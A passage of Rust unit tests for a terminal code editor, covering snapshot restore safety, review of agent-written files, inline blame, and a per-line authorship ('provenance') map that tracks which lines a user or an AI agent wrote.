    let hist = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    let b = tmp.path().join("b.txt");
    std::fs::write(&a, "a-disk\n").unwrap();
    std::fs::write(&b, "b-disk\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();

    // a.txt's timeline snapshot is on screen: restore is armed for a.txt.
    crate::history::record_in(&app.history_root, &a, b"a-old\n", 1000).unwrap();
    app.editor.open(&a).unwrap();
    app.open_timeline_diff(a.clone(), "local:1000".into());
    assert!(app.history_restore.is_some(), "staging: a's snapshot armed");

    // b.txt is in an agent lane and has never been reviewed, so the diff
    // REFUSES - and a refusal leaves a's diff on screen, which is exactly
    // when a stale restore is most dangerous.
    let working = vec![String::from("claude")];
    app.agent_ledger.record_write(&b, 7, &working);
    app.diff_agent_lane_row("claude", &b);
    assert!(
        app.history_restore.is_none(),
        "the review diff left the previous file's restore armed"
    );
    app.restore_history_snapshot();
    assert_eq!(
        std::fs::read_to_string(&a).unwrap(),
        "a-disk\n",
        "restore wrote a stale snapshot over an unrelated file"
    );
}

/// Marking a file reviewed records a snapshot of the bytes it just hashed,
/// so the row can be diffed against what the user actually approved (#345).
///
/// The store is written only by croft's own saves; the agent-write path
/// records nothing. Adopting whatever snapshot was newest anchored the
/// review to an unrelated earlier save and then labelled it "(reviewed)".
#[test]
fn reviewing_anchors_to_the_content_it_baselined_not_an_older_save() {
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("touched.rs");
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();

    // An OLD, unrelated save is already in the store - the trap: it is the
    // newest snapshot at review time but is not what the agent wrote.
    crate::history::record_in(&app.history_root, &f, b"an older user save\n", 1000).unwrap();

    // The agent writes; the user never saved this content in croft.
    std::fs::write(&f, "what the agent wrote\n").unwrap();
    let working = vec![String::from("claude")];
    app.agent_ledger.record_write(
        &f,
        crate::agent_lane::content_hash(b"what the agent wrote\n"),
        &working,
    );

    assert!(app.mark_agent_file_reviewed("claude", &f));
    let millis = app.agent_ledger.lane("claude")[0]
        .reviewed_millis
        .expect("the review recorded an anchor");
    let snap = crate::history::snapshot_file_in(&app.history_root, &f, millis)
        .expect("the anchor names a snapshot that exists");
    assert_eq!(
        std::fs::read(&snap).unwrap(),
        b"what the agent wrote\n",
        "the anchor must hold the reviewed content, not the older save"
    );
    assert_ne!(
        millis, 1000,
        "it must not adopt the unrelated older snapshot"
    );

    // And the diff opens against that content rather than refusing.
    std::fs::write(&f, "what the agent wrote next\n").unwrap();
    app.diff_agent_lane_row("claude", &f);
    assert!(
        app.status.contains("since you last reviewed"),
        "the diff opens against the reviewed baseline: {}",
        app.status
    );
}

/// A snapshot click that fails (pruned .snap, unreadable file) must disarm
/// "Restore Snapshot": the palette entry otherwise writes whatever snapshot
/// was viewed BEFORE over a file that is not even on screen.
#[test]
fn a_failed_snapshot_click_disarms_a_stale_restore() {
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    let b = tmp.path().join("b.txt");
    std::fs::write(&a, "a-disk\n").unwrap();
    std::fs::write(&b, "b-disk\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    crate::history::record_in(&app.history_root, &a, b"a-old\n", 1000).unwrap();
    app.editor.open(&a).unwrap();
    app.open_timeline_diff(a.clone(), "local:1000".into());
    assert!(app.history_restore.is_some(), "staging: a's snapshot armed");
    // A pruned snapshot row of another file: the click fails...
    app.open_timeline_diff(b.clone(), "local:999".into());
    assert_eq!(app.status, "Snapshot no longer available");
    assert!(
        app.history_restore.is_none(),
        "the failed click left the previous file's restore armed"
    );
    // ...and restore must refuse instead of clobbering a.txt.
    app.restore_history_snapshot();
    assert_eq!(
        std::fs::read_to_string(&a).unwrap(),
        "a-disk\n",
        "restore wrote a stale snapshot over an unrelated file"
    );
}

/// Local snapshots are path-keyed and repo-free, so a file outside the
/// workspace root must still list (and restore) its versions; the panel used
/// to sit on "Loading" forever while snapshots accumulated invisibly.
#[test]
fn a_file_outside_the_workspace_still_lists_its_local_snapshots() {
    let tmp = tempfile::tempdir().unwrap();
    let outside = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = outside.path().join("note.txt");
    std::fs::write(&f, "v2\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    crate::history::record_in(&app.history_root, &f, b"v1\n", 1000).unwrap();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    let target = loop {
        app.sync_explorer_panels();
        if let Some(t) = app.timeline.diff_target(0) {
            break Some(t);
        }
        if std::time::Instant::now() > deadline {
            break None;
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
    };
    assert_eq!(
        target,
        Some((f.clone(), "local:1000".to_string())),
        "the out-of-root file's snapshot never reached the TIMELINE"
    );
}

/// A Windows-1252 buffer (via Reopen with Encoding) saves non-UTF-8 bytes, so
/// its history must be recorded byte-exact — the old text-only path silently
/// skipped every save of such a file.
#[test]
fn saving_a_windows_1252_file_records_a_byte_exact_snapshot() {
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("latin.txt");
    // 0xE9 is 'é' in Windows-1252 and invalid UTF-8.
    std::fs::write(&f, b"caf\xE9\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.editor
        .reopen_with_encoding(encoding_rs::WINDOWS_1252)
        .unwrap();
    app.focus_pane(Pane::Editor);
    app.handle_key(key(KeyCode::Char('X'), KeyModifiers::NONE))
        .unwrap();
    app.save();
    let snaps = wait_for_snapshots(&app.history_root, &f);
    assert_eq!(
        snaps.len(),
        1,
        "a non-UTF-8 file's save must record history"
    );
    let disk = std::fs::read(&f).unwrap();
    assert!(disk.contains(&0xE9), "staging: the save re-encoded to 1252");
    assert_eq!(
        std::fs::read(&snaps[0].file).unwrap(),
        disk,
        "the snapshot must hold the exact on-disk bytes"
    );
}

#[test]
fn inline_blame_annotation_paints_on_the_cursor_line() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("m.rs");
    std::fs::write(&f, "fn main() {}\nlet x = 1;\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.cursor_row = 0;
    app.editor.set_blame(
        f.clone(),
        Some(vec![
            crate::git::BlameLine {
                short_hash: "abc12345".into(),
                summary: "init".into(),
                author: "Vitali".into(),
                age_secs: 3600,
                uncommitted: false,
                text: None,
            },
            crate::git::BlameLine {
                short_hash: "abc12345".into(),
                summary: "add x".into(),
                author: "Alice".into(),
                age_secs: 60,
                uncommitted: false,
                text: None,
            },
        ]),
    );
    let backend = ratatui::backend::TestBackend::new(120, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let buf = term.backend().buffer();
    let mut whole = String::new();
    for y in 0..30 {
        for x in 0..120 {
            whole.push_str(buf[(x, y)].symbol());
        }
        whole.push('\n');
    }
    assert!(
        whole.contains("Vitali, 1 hour ago"),
        "the cursor line's blame annotation must render; got:\n{whole}"
    );
    assert!(
        !whole.contains("Alice"),
        "only the cursor line is annotated, not every line"
    );
}

/// `Editor: Toggle Provenance` (#349) flips the lens on the active editor
/// and keeps it across the per-tick sync; off again on a second toggle.
#[test]
fn toggle_provenance_command_flips_the_editor_lens() {
    let mut app = editor_app_with_lines(&["one", "two"]);
    assert!(!app.editor.provenance_overlay, "the lens is off by default");
    app.run_command(crate::widgets::command_palette::Command::ToggleProvenance);
    assert!(app.editor.provenance_overlay, "the command turns it on");
    assert_eq!(app.status, "Provenance: on");
    app.sync_blame();
    assert!(
        app.editor.provenance_overlay,
        "and the tick sync keeps it on"
    );
    app.run_command(crate::widgets::command_palette::Command::ToggleProvenance);
    app.sync_blame();
    assert!(
        !app.editor.provenance_overlay,
        "toggling again turns it off"
    );
}

/// The group-by-seat lens on a Source Control diff (#349, slice four): the
/// command loads the file's persisted map and reports who wrote the lines
/// the change adds, so a review can be read as "the agent's part" and "my
/// part". Driven through the real command, not by setting the flag.
#[test]
fn the_group_by_seat_lens_reports_who_wrote_the_added_lines() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    // The working tree: one line HEAD already had, two the change adds.
    std::fs::write(&f, "kept\nmine\nnobody's\n").unwrap();
    let mut seats = crate::provenance::Provenance::new();
    seats.record(1..2, Seat::Me);
    crate::history::record_with_seats_in(
        hist.path(),
        &f,
        &std::fs::read(&f).unwrap(),
        1_000,
        &seats,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.focus_pane(Pane::Editor);
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("note.txt (HEAD)"),
            "kept\n",
            &f,
            true,
        )
        .unwrap();
    assert!(app.editor.diff.is_some(), "staging: a diff view is open");
    assert!(
        !app.editor.diff.as_ref().unwrap().group_by_seat,
        "staging: the lens is off by default"
    );

    app.run_command(crate::widgets::command_palette::Command::DiffToggleGroupBySeat);
    let diff = app.editor.diff.as_ref().unwrap();
    assert!(diff.group_by_seat, "the command turns the lens on");
    assert_eq!(
        diff.seat_summary(),
        "you 1 \u{2022} unrecorded 1",
        "the added lines are reported per seat, the unwatched one as unrecorded"
    );
    assert_eq!(
        app.status, "Diff: group by seat \u{2022} you 1 \u{2022} unrecorded 1",
        "and the status line says the same"
    );

    app.run_command(crate::widgets::command_palette::Command::DiffToggleGroupBySeat);
    assert!(
        !app.editor.diff.as_ref().unwrap().group_by_seat,
        "toggling again turns it off"
    );
}

/// The lens survives a rebuild of the view under it (#349 review): the
/// real refresh re-reads a Source Control diff whose file moved, and the
/// lens must stay on with a map reloaded against the NEW rows, rather than
/// going dark or keeping a map that named lines these rows renumbered.
#[test]
fn the_group_by_seat_lens_survives_a_rebuild_of_the_view() {
    use crate::provenance::Seat;
    let (tmp, f) = repo_with_seed("kept\n");
    let hist = tempfile::tempdir().unwrap();
    std::fs::write(&f, "kept\nmine\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.focus_pane(Pane::Editor);
    let record = |millis: u64, seats: &crate::provenance::Provenance| {
        crate::history::record_with_seats_in(
            hist.path(),
            &f,
            &std::fs::read(&f).unwrap(),
            millis,
            seats,
        )
        .unwrap();
    };
    let mut seats = crate::provenance::Provenance::new();
    seats.record(1..2, Seat::Me);
    record(1_000, &seats);
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("seed.txt (HEAD)"),
            "kept\n",
            &f,
            true,
        )
        .unwrap();
    app.tag_open_diff(crate::widgets::diff::DiffSource::HeadVsWorking {
        root: tmp.path().to_path_buf(),
        rel: String::from("seed.txt"),
    });
    app.run_command(crate::widgets::command_palette::Command::DiffToggleGroupBySeat);
    assert_eq!(
        app.editor.diff.as_ref().unwrap().seat_summary(),
        "you 1",
        "staging: the lens is on and reports the one added line"
    );

    // An agent appends a line; the real refresh re-reads the moved file.
    rewrite_later(&f, "kept\nmine\ntheirs\n");
    let mut seats2 = crate::provenance::Provenance::new();
    seats2.record(1..2, Seat::Me);
    seats2.record(2..3, Seat::Agent(String::from("pane 2")));
    record(500_000, &seats2);
    let no_paths = std::collections::BTreeSet::new();
    assert!(
        app.refresh_open_diff_views(false, &[], &no_paths),
        "staging: the refresh rebuilt the view"
    );
    let diff = app.editor.diff.as_ref().unwrap();
    assert_eq!(
        diff.right_lines.len(),
        3,
        "staging: the rebuilt view shows the new line"
    );
    assert!(
        diff.group_by_seat,
        "the lens stays on across the rebuild rather than going dark"
    );
    assert_eq!(
        diff.seat_summary(),
        "you 1 \u{2022} agent (pane 2) 1",
        "and its map is reloaded against the rebuilt rows: {}",
        diff.seat_summary()
    );
}

/// A map is never joined onto rows it does not describe (#349 review): if
/// the file moved on disk since the view was built, the lens reports
/// nothing rather than crediting the view's stale lines from a newer map.
#[test]
fn the_group_by_seat_lens_refuses_a_map_for_lines_the_view_does_not_show() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "kept\nmine\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.focus_pane(Pane::Editor);
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("note.txt (HEAD)"),
            "kept\n",
            &f,
            true,
        )
        .unwrap();
    // Same LENGTH, different content ("else" for "mine"), so the (mtime,
    // len) stamp gate genuinely cannot see this rewrite: the view still
    // shows the old lines while disk and its snapshot have moved.
    std::fs::write(&f, "kept\nelse\n").unwrap();
    let mut seats = crate::provenance::Provenance::new();
    seats.record(1..2, Seat::Me);
    crate::history::record_with_seats_in(
        hist.path(),
        &f,
        &std::fs::read(&f).unwrap(),
        1_000,
        &seats,
    )
    .unwrap();
    app.run_command(crate::widgets::command_palette::Command::DiffToggleGroupBySeat);
    let diff = app.editor.diff.as_ref().unwrap();
    assert_eq!(
        diff.right_lines,
        vec![String::from("kept"), String::from("mine")],
        "staging: the view still shows the pre-rewrite lines"
    );
    assert_eq!(
        diff.seat_summary(),
        "unrecorded 1",
        "the newer map is refused rather than joined onto lines it never described"
    );
}

/// A lone carriage return is one line to the diff opener (#349 review):
/// the comparison that binds a map to the view's rows has to split the same
/// way, or the lens reports every line unrecorded on such a file.
#[test]
fn the_group_by_seat_lens_handles_a_lone_carriage_return() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    // "a\rb" is ONE line to `str::lines`, which is how the view is built.
    std::fs::write(&f, "kept\na\rb\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.focus_pane(Pane::Editor);
    let mut seats = crate::provenance::Provenance::new();
    seats.record(1..2, Seat::Me);
    crate::history::record_with_seats_in(
        hist.path(),
        &f,
        &std::fs::read(&f).unwrap(),
        1_000,
        &seats,
    )
    .unwrap();
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("note.txt (HEAD)"),
            "kept\n",
            &f,
            true,
        )
        .unwrap();
    assert_eq!(
        app.editor.diff.as_ref().unwrap().right_lines.len(),
        2,
        "staging: the opener made two lines, the lone CR inside the second"
    );
    app.run_command(crate::widgets::command_palette::Command::DiffToggleGroupBySeat);
    assert_eq!(
        app.editor.diff.as_ref().unwrap().seat_summary(),
        "you 1",
        "the map is applied rather than refused over a splitting difference"
    );
}

/// The lens refuses a diff whose right side is not the working tree (#349):
/// a diff parsed from raw git output numbers its rows by position in that
/// text, so joining a line-keyed seat map onto it would credit lines at
/// random. Refusing is the only safe answer.
#[test]
fn the_group_by_seat_lens_refuses_a_diff_that_is_not_the_working_tree() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "one\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    // A Timeline snapshot diff: same opener, left_is_git_head false.
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("note.txt (snapshot)"),
            "old\n",
            &f,
            false,
        )
        .unwrap();
    app.run_command(crate::widgets::command_palette::Command::DiffToggleGroupBySeat);
    assert!(
        !app.editor.diff.as_ref().unwrap().group_by_seat,
        "the lens stays off on a diff it cannot key"
    );
    assert!(
        app.status.contains("working tree"),
        "and says why: {}",
        app.status
    );
}

/// Provenance survives a restart (#349, criterion 2): a save records who
/// typed each line beside the history snapshot, and a fresh app that opens
/// the unchanged file gets the map back. Distinguishable seats per line, or
/// a seat on the wrong line would be invisible.
#[test]
fn provenance_survives_a_restart_when_the_file_is_unchanged() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "one\ntwo\nthree\n").unwrap();
    {
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.history_root = hist.path().to_path_buf();
        app.editor.open(&f).unwrap();
        app.focus_pane(Pane::Editor);
        // Recorded directly rather than typed: a typed newline splits the
        // line below and credits it to the typist (the shipped rule), and
        // this test needs one line nobody touched.
        app.editor.provenance.record(0..1, Seat::Navigator);
        app.editor
            .provenance
            .record(1..2, Seat::Agent(String::from("pane 2")));
        app.editor.dirty = true;
        app.save();
        let snaps = wait_for_snapshots(&app.history_root, &f);
        assert_eq!(snaps.len(), 1, "staging: the save recorded a snapshot");
        assert_eq!(
            std::fs::read(&snaps[0].file).unwrap(),
            std::fs::read(&f).unwrap(),
            "staging: the snapshot holds the saved bytes"
        );
        // The sidecar lands after the snapshot, on the same thread; wait for
        // it rather than for the snapshot it follows.
        wait_for_seats(&app.history_root, &f, snaps[0].millis);
    }
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    assert_eq!(
        app.editor.provenance.attributed(),
        0,
        "staging: a fresh open knows nothing yet"
    );
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance.seat(0),
        Some(&Seat::Navigator),
        "the navigator's line comes back: {:?}",
        app.editor.provenance
    );
    assert_eq!(
        app.editor.provenance.seat(1),
        Some(&Seat::Agent(String::from("pane 2"))),
        "and the agent's: {:?}",
        app.editor.provenance
    );
    assert_eq!(
        app.editor.provenance.seat(2),
        None,
        "the untouched line stays unknown"
    );
}

/// A whole-buffer swap under the same path clears the map and is reconsidered
/// on its own (#349 review): the reload behind an FS-sync sweep or a
/// disk-conflict popup, a revert, "Reopen as Text" and a re-decode all go
/// through an opener, and none of them has to reset anything by hand. Driven
/// through the openers themselves; the marker is never touched.
#[test]
fn provenance_comes_back_after_every_same_path_swap() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "one\ntwo\n").unwrap();
    let mut seats = crate::provenance::Provenance::new();
    seats.record(0..1, Seat::Navigator);
    crate::history::record_with_seats_in(
        hist.path(),
        &f,
        &std::fs::read(&f).unwrap(),
        1_000,
        &seats,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance, seats,
        "staging: the first sync restores"
    );

    // The revert every reload path ends in.
    app.editor.revert_to_disk().unwrap();
    assert_eq!(
        app.editor.provenance.attributed(),
        0,
        "staging: the revert cleared the map"
    );
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance, seats,
        "the map comes back after a revert of the same path"
    );

    // "Reopen as Text": `open` on the path already open.
    app.editor.open(&f).unwrap();
    assert_eq!(
        app.editor.provenance.attributed(),
        0,
        "staging: the reopen cleared the map"
    );
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance, seats,
        "and after a reopen of the same path"
    );
}

/// Two tabs on one file are two buffers (#349 review): a split opens the
/// same path in a fresh group, whose tab sits at the same `edit_seq` as the
/// first one did when it was synced. The marker is per buffer, so the split
/// pane gets the map too rather than staying blank for the session.
#[test]
fn a_split_of_a_synced_file_gets_the_map_in_the_new_group() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "one\n").unwrap();
    let mut seats = crate::provenance::Provenance::new();
    seats.record(0..1, Seat::Navigator);
    crate::history::record_with_seats_in(
        hist.path(),
        &f,
        &std::fs::read(&f).unwrap(),
        1_000,
        &seats,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance, seats,
        "staging: the first tab is synced"
    );
    app.split_editor();
    assert_eq!(
        app.editor.path.as_deref(),
        Some(f.as_path()),
        "staging: the split opened the same file in the focused group"
    );
    assert_eq!(
        app.editor.provenance.attributed(),
        0,
        "staging: the new group's tab knows nothing yet"
    );
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance, seats,
        "the split pane's buffer is synced on its own"
    );
}

/// A swap into a viewer drops the map (#349 review): the hex view's single
/// placeholder line was written by no seat, and a save from the viewer must
/// not persist the text tab's map against bytes it never described. The swap
/// back to text is an ordinary reopen and gets the persisted map again.
#[test]
fn a_viewer_swap_drops_the_map_and_the_text_reopen_gets_it_back() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "one\n").unwrap();
    let mut seats = crate::provenance::Provenance::new();
    seats.record(0..1, Seat::Navigator);
    crate::history::record_with_seats_in(
        hist.path(),
        &f,
        &std::fs::read(&f).unwrap(),
        1_000,
        &seats,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance, seats,
        "staging: the text tab is synced"
    );
    app.editor.open_hex(&f).unwrap();
    assert!(app.editor.hex.is_some(), "staging: the tab is a hex view");
    assert_eq!(
        app.editor.provenance.attributed(),
        0,
        "the swap into the viewer dropped the map"
    );
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance.attributed(),
        0,
        "and a sync does not credit the viewer's placeholder line"
    );
    assert_eq!(
        app.editor.provenance_to_record().attributed(),
        0,
        "a save from the viewer would record no map"
    );
    app.editor.open(&f).unwrap();
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance, seats,
        "the reopen as text gets the persisted map back"
    );
}

/// A markdown preview is not a viewer (#349 review): `lines` still holds the
/// file's own text and the tab is saveable, so a save taken while the
/// preview is up records the map rather than dropping it (and, inside the
/// merge window, deleting the previous snapshot's sidecar with nothing to
/// replace it).
#[test]
fn a_markdown_preview_save_keeps_the_map() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.md");
    std::fs::write(&f, "# one\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.provenance.record(0..1, Seat::Navigator);
    assert!(
        app.editor.toggle_markdown_preview(),
        "staging: the preview is up"
    );
    assert!(
        !app.editor.has_non_text_view(),
        "staging: a markdown preview tab is still saveable text"
    );
    assert_eq!(
        app.editor.provenance_to_record().seat(0),
        Some(&Seat::Navigator),
        "the buffer's own text is in `lines`; its map still describes it"
    );
    app.editor.dirty = true;
    app.save();
    let snaps = wait_for_snapshots(&app.history_root, &f);
    assert_eq!(snaps.len(), 1, "staging: the save recorded a snapshot");
    wait_for_seats(&app.history_root, &f, snaps[0].millis);
}

/// The lens paints in every pane, so the map is restored onto every open
/// buffer (#349 review), not only the focused one: a split whose other
/// group holds the file must not show the lens on with every line blank.
#[test]
fn provenance_is_synced_onto_the_inactive_group_too() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "one\n").unwrap();
    let mut seats = crate::provenance::Provenance::new();
    seats.record(0..1, Seat::Navigator);
    crate::history::record_with_seats_in(
        hist.path(),
        &f,
        &std::fs::read(&f).unwrap(),
        1_000,
        &seats,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    // Split before any sync: both groups hold the file, neither knows its map.
    app.split_editor();
    let inactive = app.editor_layout.inactive_groups();
    assert_eq!(inactive.len(), 1, "staging: one inactive group");
    assert_eq!(
        inactive[0].path.as_deref(),
        Some(f.as_path()),
        "staging: the inactive group holds the file"
    );
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance, seats,
        "staging: the focused tab is synced"
    );
    assert_eq!(
        app.editor_layout.inactive_groups()[0].provenance,
        seats,
        "the inactive group's tab is synced too"
    );
}

/// A save records the saved tab's own map (#349 review): with the same file
/// open in two groups, an auto save of the inactive group's buffer must not
/// persist the focused group's map against bytes it never described.
#[test]
fn an_inactive_group_save_records_the_map_of_that_buffer() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "one\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    app.split_editor();
    // The focused group's buffer: clean, and wearing a map of its own.
    app.editor
        .provenance
        .record(0..1, Seat::Peer(String::from("ana")));
    // The inactive group's buffer: the navigator types, so it is dirty and
    // due, and its map says navigator.
    {
        let mut groups = app.editor_layout.inactive_groups_mut();
        let other: &mut crate::widgets::editor::Editor = &mut *groups[0];
        assert_eq!(
            other.path.as_deref(),
            Some(f.as_path()),
            "staging: same file"
        );
        other.cursor_row = 0;
        other.cursor_col = 0;
        other.insert_str_as("nav\n", Seat::Navigator);
        assert!(other.dirty, "staging: the inactive buffer is dirty");
        age_last_edit(other);
    }
    app.auto_save = true;
    assert!(
        app.tick_auto_save(),
        "staging: the sweep saved the dirty buffer"
    );
    assert!(
        std::fs::read_to_string(&f).unwrap().starts_with("nav\n"),
        "staging: the inactive buffer's text is what hit the disk"
    );
    let snaps = wait_for_snapshots(&app.history_root, &f);
    assert_eq!(snaps.len(), 1, "staging: the save recorded a snapshot");
    wait_for_seats(&app.history_root, &f, snaps[0].millis);
    let recorded = crate::history::seats_for(&app.history_root, &f, snaps[0].millis).unwrap();
    assert_eq!(
        recorded.seat(0),
        Some(&Seat::Navigator),
        "the sidecar holds the saved buffer's map, not the focused tab's: {recorded:?}"
    );
}

/// A clean buffer can still be stale (#349 review): when one tab of a split
/// saves, the other keeps the pre-save text and its own disk stamp. The
/// newest snapshot then matches disk while describing text that tab never
/// held, so the map must NOT be applied to it.
#[test]
fn a_stale_tab_is_not_credited_with_the_map_of_the_saving_tab() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "one\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    app.split_editor();
    // The inactive group types and saves; the focused tab is untouched, so
    // it stays clean, unattributed, and holding the pre-save text.
    {
        let mut groups = app.editor_layout.inactive_groups_mut();
        let other: &mut crate::widgets::editor::Editor = &mut *groups[0];
        other.cursor_row = 0;
        other.cursor_col = 0;
        other.insert_str_as("nav\n", Seat::Navigator);
        age_last_edit(other);
    }
    app.auto_save = true;
    assert!(
        app.tick_auto_save(),
        "staging: the sweep saved the other buffer"
    );
    let snaps = wait_for_snapshots(&app.history_root, &f);
    wait_for_seats(&app.history_root, &f, snaps[0].millis);
    // Positive control: there IS a map beside a snapshot matching disk, so a
    // sync that ignored staleness would have something to apply.
    assert_eq!(
        std::fs::read(&snaps[0].file).unwrap(),
        std::fs::read(&f).unwrap(),
        "staging: the newest snapshot matches the file on disk"
    );
    assert!(!app.editor.dirty, "staging: the focused tab is clean");
    assert_eq!(
        app.editor.lines,
        vec![String::from("one")],
        "staging: and still holds the pre-save text"
    );
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance.attributed(),
        0,
        "a stale buffer is not credited from a snapshot of text it never held: {:?}",
        app.editor.provenance
    );
}

/// An empty file gets its map back too (#349 review): `open` gives an empty
/// buffer one sentinel line, so a comparison against the snapshot's bare
/// (zero-line) split would withhold the map from every emptied file.
#[test]
fn the_map_of_an_emptied_file_survives_a_restart() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "").unwrap();
    let mut seats = crate::provenance::Provenance::new();
    seats.record(0..1, Seat::Navigator);
    crate::history::record_with_seats_in(hist.path(), &f, b"", 1_000, &seats).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    assert_eq!(
        app.editor.lines,
        vec![String::new()],
        "staging: an empty file opens as one empty line"
    );
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance, seats,
        "the emptied file's map comes back: {:?}",
        app.editor.provenance
    );
}

/// A UTF-16 file's map comes back too (#349 review): the snapshot holds the
/// file's raw bytes, so the comparison must decode them the way `open` does,
/// through the BOM, rather than assuming UTF-8.
#[test]
fn the_map_of_a_utf16_file_survives_a_restart() {
    use crate::provenance::Seat;
